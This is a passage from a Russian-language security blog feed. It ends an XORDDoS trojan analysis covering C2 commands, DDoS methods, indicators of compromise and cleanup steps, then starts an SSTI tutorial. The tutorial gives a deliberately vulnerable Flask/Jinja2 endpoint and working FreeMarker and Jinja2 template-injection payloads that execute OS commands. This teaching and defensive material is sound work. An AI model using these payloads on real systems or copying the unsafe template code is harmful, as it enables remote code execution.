    &lt;img src=&quot;https://img3.teletype.in/files/2e/e1/2ee173b3-6c7d-4182-83da-3a59b7d9f51c.png&quot; width=&quot;414&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;G8z8&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;KI7f&quot;&gt;&lt;strong&gt;Ключевой вывод по кейсу&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;AjCw&quot;&gt;Троян использовал одновременно три из пяти задокументированных механизмов персистентности (Cron, init-скрипты, запрет управляющих команд systemd) и как минимум один метод маскировки (спуфинг имени процесса под rpc.statd). Это стандартный, а не расширенный сценарий XORDDoS, что свидетельствует о высокой степени автоматизации кампании.&lt;/p&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;2ert&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;cMFi&quot;&gt;Коммуникация с C2 и функционал DDoS&lt;/h2&gt;
  &lt;p id=&quot;BUSn&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;5qq1&quot;&gt;Сетевая архитектура XORDDoS устроена так, чтобы минимизировать обнаруживаемость трафика при максимальной эффективности управления ботнетом.&lt;/p&gt;
  &lt;p id=&quot;2tKi&quot;&gt;Для резолвинга IP-адресов C2-серверов троян использует публичные DNS-серверы Google (&lt;code&gt;8.8.8.8&lt;/code&gt; и &lt;code&gt;8.8.4.4&lt;/code&gt;), что позволяет ему маскировать DNS-запросы под легитимную активность. Первичный контакт с сервером включает отправку пакета телеметрии (идентификатор устройства + системные метаданные), зашифрованного XOR-ключом с предварительно вычисленной CRC-суммой. В ответ сервер присылает командные пакеты с заголовком &lt;code&gt;0x1C&lt;/code&gt; байт.&lt;/p&gt;
  &lt;p id=&quot;TeNs&quot;&gt;Система команд C2 покрывает полный спектр управления ботом:&lt;/p&gt;
  &lt;p id=&quot;CEyH&quot;&gt;2 - Немедленная остановка текущей DDoS-атаки&lt;/p&gt;
  &lt;p id=&quot;AIot&quot;&gt;3 - Инициализация пула потоков для новой атаки&lt;/p&gt;
  &lt;p id=&quot;oKbx&quot;&gt;6 - Скачивание произвольного файла с удалённого ресурса&lt;/p&gt;
  &lt;p id=&quot;rc0O&quot;&gt;7 - Эксфильтрация локального файла на C2-сервер&lt;/p&gt;
  &lt;p id=&quot;jOnA&quot;&gt;8 - Принудительная отправка обновлённой системной телеметрии&lt;/p&gt;
  &lt;p id=&quot;TMOr&quot;&gt;9 - Получение конфигурационного файла (в т.ч. с инструкциями по устранению конкурирующих процессов)&lt;/p&gt;
  &lt;p id=&quot;drxo&quot;&gt;При получении команды 3 троян максимально утилизирует ресурсы хоста: опрашивает число доступных CPU и создаёт пул потоков в &lt;strong&gt;двойном размере от числа ядер&lt;/strong&gt;. Каждый поток циклически генерирует и отправляет по &lt;strong&gt;65 535 пакетов&lt;/strong&gt; к цели.&lt;/p&gt;
  &lt;p id=&quot;tm2C&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;yPsv&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/42/10/42107d46-f5f6-4177-8994-73365ba31a60.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;m7ub&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;QaDE&quot;&gt;Поддерживаются три типа атак: &lt;strong&gt;SYN-флуд&lt;/strong&gt; (код &lt;code&gt;0x4&lt;/code&gt;) — истощение ресурсов сетевого оборудования через массовые незавершённые TCP-соединения; &lt;strong&gt;DNS-флуд&lt;/strong&gt; (код &lt;code&gt;0x5&lt;/code&gt;) — забивание канала UDP-пакетами с вредоносными DNS-запросами; &lt;strong&gt;ACK-флуд&lt;/strong&gt; (код &lt;code&gt;0xA&lt;/code&gt;) — перегрузка серверов пакетами-подтверждениями. Для обхода базовых фильтров провайдеров (uRPF) троян модифицирует третий или четвёртый октет IP-адреса источника, имитируя трафик из того же адресного пространства &lt;code&gt;/24&lt;/code&gt; или &lt;code&gt;/16&lt;/code&gt;. Совокупная мощь скоординированных атак задокументированных кампаний достигала &lt;strong&gt;свыше 150 Гбит/с&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;370n&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;j0Ti&quot;&gt;Обнаружение и реагирование&lt;/h2&gt;
  &lt;p id=&quot;jhhc&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;hdWd&quot;&gt;Индикаторы компрометации (IoC)&lt;/h3&gt;
  &lt;p id=&quot;XYAH&quot;&gt;На что смотреть при первичном аудите&lt;/p&gt;
  &lt;p id=&quot;EOFp&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Ao0T&quot;&gt;&lt;strong&gt;Процессы и ресурсы:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;NQJ9&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;HkT8&quot;&gt;
    &lt;li id=&quot;lY3N&quot;&gt;CPU 100% без объяснимой нагрузки - Майнинг или генерация DDoS-трафика&lt;/li&gt;
    &lt;li id=&quot;zKz7&quot;&gt;Процессы с именами из 8–10 случайных символов запущены от &lt;code&gt;root&lt;/code&gt; - Основное тело трояна (&lt;code&gt;efueyo&lt;/code&gt;, &lt;code&gt;jwvwvxoupv&lt;/code&gt;, &lt;code&gt;kagbjahdic&lt;/code&gt; и подобные)&lt;/li&gt;
    &lt;li id=&quot;iM8H&quot;&gt;&lt;code&gt;ps -aef&lt;/code&gt; показывает &lt;code&gt;cat resolv.conf&lt;/code&gt; / &lt;code&gt;netstat -an&lt;/code&gt; / &lt;code&gt;bash&lt;/code&gt; / &lt;code&gt;pwd&lt;/code&gt; - Спуфинг имени процесса&lt;/li&gt;
    &lt;li id=&quot;g9aL&quot;&gt;&lt;code&gt;netstat&lt;/code&gt; не показывает активных соединений при высокой сетевой нагрузке - LKM-руткит фильтрует вывод&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;5h8n&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;5U0U&quot;&gt;&lt;strong&gt;Файловая система:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;BzOL&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;2LZ1&quot;&gt;
    &lt;li id=&quot;i0Ow&quot;&gt;&lt;code&gt;/lib/libudev.so&lt;/code&gt; или &lt;code&gt;/lib/libudev.so.6&lt;/code&gt; -  Типичное местоположение основного тела трояна&lt;/li&gt;
    &lt;li id=&quot;nxC2&quot;&gt;&lt;code&gt;/var/run/gcc.pid&lt;/code&gt;, &lt;code&gt;/var/run/sftp.pid&lt;/code&gt;, &lt;code&gt;/var/run/udev.pid&lt;/code&gt; - Файлы с 32-байтным bot-ID&lt;/li&gt;
    &lt;li id=&quot;TOM4&quot;&gt;&lt;code&gt;/etc/cron.hourly/gcc.sh&lt;/code&gt;, &lt;code&gt;cqqbnzzu.sh&lt;/code&gt;, &lt;code&gt;obidhyb.sh&lt;/code&gt;, &lt;code&gt;udev.sh&lt;/code&gt; - Watchdog-скрипты&lt;/li&gt;
    &lt;li id=&quot;pyw7&quot;&gt;Симлинки &lt;code&gt;S90[случайные_цифры]&lt;/code&gt; в &lt;code&gt;/etc/rc*.d/&lt;/code&gt; - Инициализационная персистентность&lt;/li&gt;
    &lt;li id=&quot;wjI4&quot;&gt;Пустые &lt;code&gt;/root/.bash_history&lt;/code&gt;, &lt;code&gt;/var/log/wtmp&lt;/code&gt;, &lt;code&gt;/var/log/secure&lt;/code&gt; - Антифорензика: перезапись нулевым байтом&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;bGi9&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;JHMK&quot;&gt;&lt;strong&gt;Сеть:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;8Uc7&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;fYlL&quot;&gt;
    &lt;li id=&quot;m0YD&quot;&gt;Тысячи &lt;code&gt;Failed password&lt;/code&gt; в auth-логах - Брутфорс-атака — входящая или уже совершившаяся&lt;/li&gt;
    &lt;li id=&quot;ryvf&quot;&gt;Массовые исходящие SYN/ACK/DNS на нетипичные IP - Бот участвует в DDoS-атаке&lt;/li&gt;
    &lt;li id=&quot;ttdf&quot;&gt;DNS-запросы к &lt;code&gt;8.8.8.8&lt;/code&gt; / &lt;code&gt;8.8.4.4&lt;/code&gt; с нехарактерной частотой - Резолвинг C2-адресов&lt;/li&gt;
    &lt;li id=&quot;HLev&quot;&gt;Соединения на порты 53, 3306, 8005 к неизвестным хостам - C2-коммуникация&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;D2pN&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;E5TD&quot;&gt;Алгоритм очистки системы&lt;/h3&gt;
  &lt;p id=&quot;fb6T&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;REeL&quot;&gt;&lt;strong&gt;Критически важно&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;r412&quot;&gt;Простое завершение процесса (&lt;code&gt;kill -9&lt;/code&gt;) и удаление файла без предварительного нейтрализации watchdog-механизмов приведёт к восстановлению трояна через 3 минуты. Следуйте алгоритму в строгой последовательности.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;W06t&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;XxXB&quot;&gt;&lt;strong&gt;Этап 1 — Заморозка процесса (не завершение)&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;pAtf&quot;&gt;Найдите PID вредоносного процесса через &lt;code&gt;top&lt;/code&gt; или:&lt;/p&gt;
  &lt;pre id=&quot;i6Az&quot;&gt;ps -aef | grep -E &amp;#x27;[a-z]{8,10}&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;4BZb&quot;&gt;Приостановите выполнение сигналом &lt;code&gt;SIGSTOP&lt;/code&gt; — это предотвращает срабатывание watchdog-скриптов, мониторящих статус процесса:&lt;/p&gt;
  &lt;pre id=&quot;rpgS&quot;&gt;kill -STOP [PID]&lt;/pre&gt;
  &lt;p id=&quot;5pPl&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;ZzJV&quot;&gt;&lt;strong&gt;Этап 2 — Поиск вредоносных скриптов&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;aJun&quot;&gt;Выявите недавно изменённые файлы в системных директориях конфигурации:&lt;/p&gt;
  &lt;pre id=&quot;Fsia&quot;&gt;sudo find /etc -printf &amp;#x27;%T@ %t %p\n&amp;#x27; | sort -k 1 -n | cut -d&amp;#x27; &amp;#x27; -f2-&lt;/pre&gt;
  &lt;p id=&quot;1P3X&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;cTKM&quot;&gt;&lt;strong&gt;Этап 3 — Уничтожение механизмов персистентности&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;CQ2C&quot;&gt;# Удаление watchdog-скриптов из cron
rm -f /etc/cron.hourly/gcc.sh /etc/cron.hourly/cqqbnzzu.sh /etc/cron.hourly/obidhyb.sh

# Удаление симлинков автозапуска
rm -f /etc/rc?.d/S90*

# Удаление init-скрипта (замените [имя] реальным именем файла)
rm -f /etc/init.d/[имя]

# Снятие с регистрации в системе загрузки
chkconfig --del [имя]
update-rc.d [имя] remove&lt;/pre&gt;
  &lt;p id=&quot;X5vc&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;GC7h&quot;&gt;&lt;strong&gt;Этап 4 — Удаление основного тела трояна&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;12GW&quot;&gt;# Поиск основного файла
find / -type f -name libudev.so

# Снятие прав, удаление и блокировка директории на запись
chmod 0000 /lib/libudev.so &amp;amp;&amp;amp; rm -rf /lib/libudev.so &amp;amp;&amp;amp; chattr +i /lib&lt;/pre&gt;
  &lt;p id=&quot;XcxX&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;aYhB&quot;&gt;&lt;strong&gt;Этап 5 — Предотвращение повторного заражения&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;SMgP&quot;&gt;# Смена пароля root
passwd root

# Отключение парольной аутентификации SSH (предпочтительно — переход на ключи)
# В /etc/ssh/sshd_config:
# PasswordAuthentication no
# PermitRootLogin prohibit-password

# Установка и настройка fail2ban
apt install fail2ban
systemctl enable --now fail2ban

# Закрытие API Docker (если применимо)
# Убедиться, что порт 2375 недоступен снаружи&lt;/pre&gt;
  &lt;p id=&quot;xVrc&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;7by5&quot;&gt;&lt;strong&gt;Дополнительные меры защиты&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;47IW&quot;&gt;Разверните EDR-решение в режиме блокировки для автоматического обнаружения многоуровневых атак. Используйте YARA-правила для регулярного сканирования: в отличие от хэш-сигнатур, они эффективны против полиморфных версий трояна. Настройте IPS и правила межсетевого экрана для блокировки известной C2-инфраструктуры на уровне IP и домена, а также для ограничения нетипичных исходящих соединений (массовые DNS-запросы, порты 3306, 8005).&lt;/p&gt;
  &lt;/section&gt;

</content></entry><entry><id>none_notes:ssti</id><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/ssti?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><title>SSTI в действии: как шаблон становится RCE</title><published>2025-10-12T20:59:22.329Z</published><updated>2025-11-27T10:39:59.478Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/62/61/6261b453-c733-40c0-9538-cdf403faed75.png"></media:thumbnail><category term="web" label="Web"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/f6/9e/f69ed549-649e-428d-82fc-2ee7927b96c5.png&quot;&gt;Всем привет! Сегодня мы чуть-чуть окунёмся в мир веб-пентеста и рассмотрим простенькую, но довольно опасную уязвимость, с которой может столкнуться каждый разработчик, использующий в своём коде удобную и, казалось бы, безобидную функцию шаблонов — Server-Side Template Injection.</summary><content type="html">
  &lt;figure id=&quot;PPCc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/9e/f69ed549-649e-428d-82fc-2ee7927b96c5.png&quot; width=&quot;1536&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;oggP&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;Eig4&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;w1um&quot;&gt;Всем привет! Сегодня мы чуть-чуть окунёмся в мир веб-пентеста и рассмотрим простенькую, но довольно опасную уязвимость, с которой может столкнуться каждый разработчик, использующий в своём коде удобную и, казалось бы, безобидную функцию шаблонов — Server-Side Template Injection.&lt;/p&gt;
  &lt;p id=&quot;6qyX&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;yjT9&quot;&gt;С чего всё началось?&lt;/h2&gt;
  &lt;p id=&quot;BmAr&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;Dukw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/21/c521efb9-b8df-4cf0-864c-b0750a535b61.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EM9T&quot;&gt;Впервые на широкую публику уязвимость была упомянута на BlackHat 2015 Джеймсом Кеттлом, который является директором по исследованиям в PortSwigger.&lt;/p&gt;
  &lt;p id=&quot;11ow&quot;&gt;&lt;a href=&quot;https://jameskettle.com/&quot; target=&quot;_blank&quot;&gt;https://jameskettle.com/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;0twW&quot;&gt;Со слов Джеймса, уязвимость была обнаружена при работе с одним из клиентов, у которого была система генерации электронных писем с динамическим контентом.&lt;/p&gt;
  &lt;p id=&quot;ZPzJ&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;mmbx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/41/7e/417ed332-2fbb-4280-8044-582a496f322b.png&quot; width=&quot;687&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fgUu&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;E3E0&quot;&gt;Его глаз сразу зацепил тот факт, что в месте вставки данных шаблона можно попытаться вывести не просто имя пользователя, а его пароль. Хоть попытка была безуспешной, при более детальном изучении документации FreeMarker он обнаружил, что в ней есть прямое указание на возможную уязвимость удалённого выполнения кода (см. скрины выше).&lt;/p&gt;
  &lt;p id=&quot;Yd2B&quot;&gt;Если не учитывать возможную блокировку классов/методов, то payload для FreeMaker мог выглядеть так (чуть позже разберём, как оно работает детально):&lt;/p&gt;
  &lt;p id=&quot;woF1&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;F397&quot;&gt;${&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()(&amp;quot;id&amp;quot;)}&lt;/pre&gt;
  &lt;p id=&quot;0Idw&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;rHAE&quot;&gt;Второй встречей с SSTI стал репорт клиента о продукте PortSwigger, где говорилось, что BurpSuite не смог найти явный XSS. При ручном тестировании выяснилось, что это SSTI, их действительно легко перепутать, так как при SSTI можно также делать инъекцию HTML-кода. После этого случая сканирование через BurpSuite научили находить эту уязвимость, а в списки полезных нагрузок Intruder был добавлен словарь с полезными нагрузками SSTI.&lt;/p&gt;
  &lt;p id=&quot;EDcs&quot;&gt;Теперь рассмотрим детальнее, в каких случаях может появиться данная уязвимость и как она работает со стороны разработчика.&lt;/p&gt;
  &lt;p id=&quot;RHlT&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;goty&quot;&gt;Методология внедрения&lt;/h2&gt;
  &lt;p id=&quot;wBt0&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;JCgd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/97/88/97887e4c-4b3e-4d11-b54f-fe5d4c2c6958.png&quot; width=&quot;2000&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Fahb&quot;&gt;Джеймс в своём исследовании определил методологию для эффективного процесса атаки. Выглядит она следующим образом:&lt;/p&gt;
  &lt;p id=&quot;fXqq&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;jGpH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/42/7c4274db-4dd2-40e1-8da2-2b9ca6019f35.png&quot; width=&quot;464&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tsbi&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;LwIL&quot;&gt;Я буду её придерживаться в дальнейшем ходе статьи.&lt;/p&gt;
  &lt;p id=&quot;cph8&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;aicu&quot;&gt;Detect &amp;amp; Identify&lt;/h2&gt;
  &lt;p id=&quot;tsEs&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;D5Mr&quot;&gt;Как стало понятно ранее, SSTI встречается в веб-приложениях, в которых есть функционал шаблонизаторов, имеющих возможность принимать ввод пользователя с последующей обработкой. Если ввод пользователя никак не фильтруется и напрямую вставляется в шаблон, то возникает уязвимость.&lt;/p&gt;
  &lt;p id=&quot;SLH5&quot;&gt;Если возникло подозрение, что данная уязвимость присутствует в веб-приложении, верным способом проверить эту теорию будет перебор полезных нагрузок, который можно сделать через BurpSuite и встроенные в него словари, либо же найти их отдельно и использовать Ffuf. Если уязвимость сработает, то по полезной нагрузке можно определить движок шаблонизатора.&lt;/p&gt;
  &lt;p id=&quot;6vXj&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;271C&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0a/d2/0ad229b5-2ea6-44eb-9f46-19b094e46203.png&quot; width=&quot;1400&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DeKJ&quot;&gt;Джеймс в своём материале сделал граф идентификации шаблонных движков в зависимости от реакции на полезную нагрузку. Я чуть расширил оригинальный граф, добавив на него на данный момент актуальные движки и пару новых полезных нагрузок.&lt;/p&gt;
  &lt;p id=&quot;DmID&quot;&gt;Предположим, что наш движок Jinja2. Рассмотрим две реализации небольшого кода, цель которого — получать из запроса имя пользователя и выводить «Dear {{пользователь}}». Одна из реализаций будет безопасной, а другая — уязвимой.&lt;/p&gt;
  &lt;p id=&quot;XjTN&quot;&gt;Сначала рассмотрим безопасный вариант, при котором данные пользователя вставляются в функции рендера. Что бы мы ни ввели, будь то XSS или SSTI payload, он будет рассматриваться программой как текст и не будет выполнятся при рендере.&lt;/p&gt;
  &lt;p id=&quot;Em3A&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;e1FR&quot;&gt;@app.route(&amp;#x27;/greet&amp;#x27;)
def safe_greeting():
    user_name = request.args.get(&amp;#x27;name&amp;#x27;, &amp;#x27;Guest&amp;#x27;)

    template = &amp;quot;Dear {{ name }}&amp;quot;
    return render_template_string(template, name=user_name)
&lt;/pre&gt;
  &lt;p id=&quot;wlea&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;obvr&quot;&gt;Сделаем два запроса:&lt;/p&gt;
  &lt;p id=&quot;yaB6&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;z3eD&quot;&gt;curl &amp;quot;http://127.0.0.1:5000/greet?name=NoneDev&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;gDV2&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;bqza&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/63/33/63330554-f76c-40bc-8a8c-98e8b2dcd53d.png&quot; width=&quot;1439&quot; /&gt;
    &lt;figcaption&gt;&lt;a href=&quot;https://cyberchef.org/#recipe=URL_Encode&quot; target=&quot;_blank&quot;&gt;https://cyberchef.org/#recipe=URL_Encode&lt;/a&gt;(false)&amp;amp;input=e3s4Kjh9fQ&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MsQ1&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;LMZX&quot;&gt;curl &amp;quot;http://127.0.0.1:5000/greet?name=%7B%7B8*8%7D%7D&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;Dcvp&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;kdEf&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/93/5e/935e74cb-ca49-4002-8e75-2f5b3471ec8e.png&quot; width=&quot;661&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6fGz&quot;&gt;Как видно на скриншоте, при втором запросе с полезной нагрузкой приложение отработало, как и должно было, просто разместив её текстом в ответе.&lt;/p&gt;
  &lt;p id=&quot;hlYI&quot;&gt;Теперь перейдём к уязвимому endpoint-у:&lt;/p&gt;
  &lt;p id=&quot;Qmnz&quot;&gt;Здесь ввод пользователя вставляется напрямую в шаблон, после чего уже происходит рендер.&lt;/p&gt;
  &lt;p id=&quot;8c5l&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;Nau4&quot;&gt;@app.route(&amp;#x27;/unsafe-greet&amp;#x27;)
def unsafe_greeting():
    user_name = request.args.get(&amp;#x27;name&amp;#x27;, &amp;#x27;Guest&amp;#x27;)

    template = f&amp;quot;Dear {user_name}&amp;quot;
    return render_template_string(template)&lt;/pre&gt;
  &lt;p id=&quot;2vZW&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;kygb&quot;&gt;Делаем всё те же два запроса:&lt;/p&gt;
  &lt;p id=&quot;f2vq&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;Bs4O&quot;&gt;curl &amp;quot;http://127.0.0.1:5000/unsafe-greet?name=NoneDev&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;uNMx&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;qjfC&quot;&gt;curl &amp;quot;http://127.0.0.1:5000/unsafe-greet?name=%7B%7B8*8%7D%7D&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;y4wy&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;jrNN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/18/2a/182a715f-e08c-456f-a924-021327511f6b.png&quot; width=&quot;728&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rL7D&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;kAvX&quot;&gt;В данном случае второй запрос выдал нам ответ на операцию 8 * 8, что говорит о том, что код внутри {{}} выполняется и SSTI присутствует.&lt;/p&gt;
  &lt;h2 id=&quot;OzdP&quot;&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;2k26&quot;&gt;Exploit&lt;/h2&gt;
  &lt;p id=&quot;W4zY&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;3HiC&quot;&gt;Теперь, когда мы знаем, что уязвимость есть, а также знаем движок, перейдем к изучению документации, чтобы с помощью особенностей языка/движка получить полноценный RCE. Обычно получение происходит через цепочку обращений к классам и их методам, начиная от класса шаблона, заканчивая классом, у которого есть метод, позволяющий выполнять произвольный код в ОС.&lt;/p&gt;
  &lt;p id=&quot;kxPa&quot;&gt;Так как у нас в примере используется Jinja2, который является движком в Python, в самом начале у нас будет класс самого шаблона, который мы можем получить с помощью:&lt;/p&gt;
  &lt;p id=&quot;iYUN&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;sC68&quot;&gt;self # Ссылка на текущий класс&lt;/pre&gt;
  &lt;p id=&quot;7fTa&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;fT1y&quot;&gt;У каждого класса есть метод (функция) инициализации &amp;quot;__init__&amp;quot;, которая выполняется при создании объекта класса:&lt;/p&gt;
  &lt;p id=&quot;0J0w&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;PL0S&quot;&gt;self.__init__&lt;/pre&gt;
  &lt;p id=&quot;gzNw&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;zikE&quot;&gt;У функций, в свою очередь, есть атрибут &amp;quot;__globals__&amp;quot;, который содержит глобальные имена модуля, такие как переменные и импорты:&lt;/p&gt;
  &lt;p id=&quot;sPQi&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;Whfq&quot;&gt; self.__init__.__globals__&lt;/pre&gt;
  &lt;p id=&quot;VnXY&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Nneb&quot;&gt;В словаре &amp;quot;__globals__” хранится ключ &amp;quot;__builtins__”, который указывает на набор встроенных в язык функций (len, print и т.д.):&lt;/p&gt;
  &lt;p id=&quot;Cydy&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;hJpV&quot;&gt;self.__init__.__globals__.__builtins__&lt;/pre&gt;
  &lt;p id=&quot;jJBo&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;mntb&quot;&gt;Среди встроенных функций есть &amp;quot;__import__&amp;quot;, которая осуществляет механизм импорта модулей, с помощью которого можно импортировать модуль &amp;quot;os&amp;quot;, который имеет возможность выполнять команды в ОС:&lt;/p&gt;
  &lt;p id=&quot;cBQi&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;6dPG&quot;&gt;self.__init__.__globals__.__builtins__.__import__(&amp;quot;os&amp;quot;).popen(&amp;quot;id&amp;quot;).read()&lt;/pre&gt;
  &lt;p id=&quot;2MlM&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;b17D&quot;&gt;На этом наша полезная нагрузка закончена. Остаётся только обернуть её в двойные фигурные скобки, закодировать в URL-кодировку и отправить:&lt;/p&gt;
  &lt;p id=&quot;5WNW&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;5lIQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/c9/7dc9b683-45b7-402d-80e4-3056fb51f43d.png&quot; width=&quot;1442&quot; /&gt;
    &lt;figcaption&gt;&lt;a href=&quot;https://cyberchef.org/#recipe=URL_Encode&quot; target=&quot;_blank&quot;&gt;https://cyberchef.org/#recipe=URL_Encode&lt;/a&gt;(true)&amp;amp;input=e3tzZWxmLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfXy5fX2ltcG9ydF9fKCdvcycpLnBvcGVuKCJpZCIpLnJlYWQoKX19&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DdyZ&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;y0Uz&quot;&gt;curl &amp;quot;http://127.0.0.1:5000/unsafe-greet?name=%7B%7Bself%2E%5F%5Finit%5F%5F%2E%5F%5Fglobals%5F%5F%2E%5F%5Fbuiltins%5F%5F%2E%5F%5Fimport%5F%5F%28%27os%27%29%2Epopen%28%22id%22%29%2Eread%28%29%7D%7D&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;Tl3b&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;U4vb&quot; class=&quot;m_column&quot;&gt;
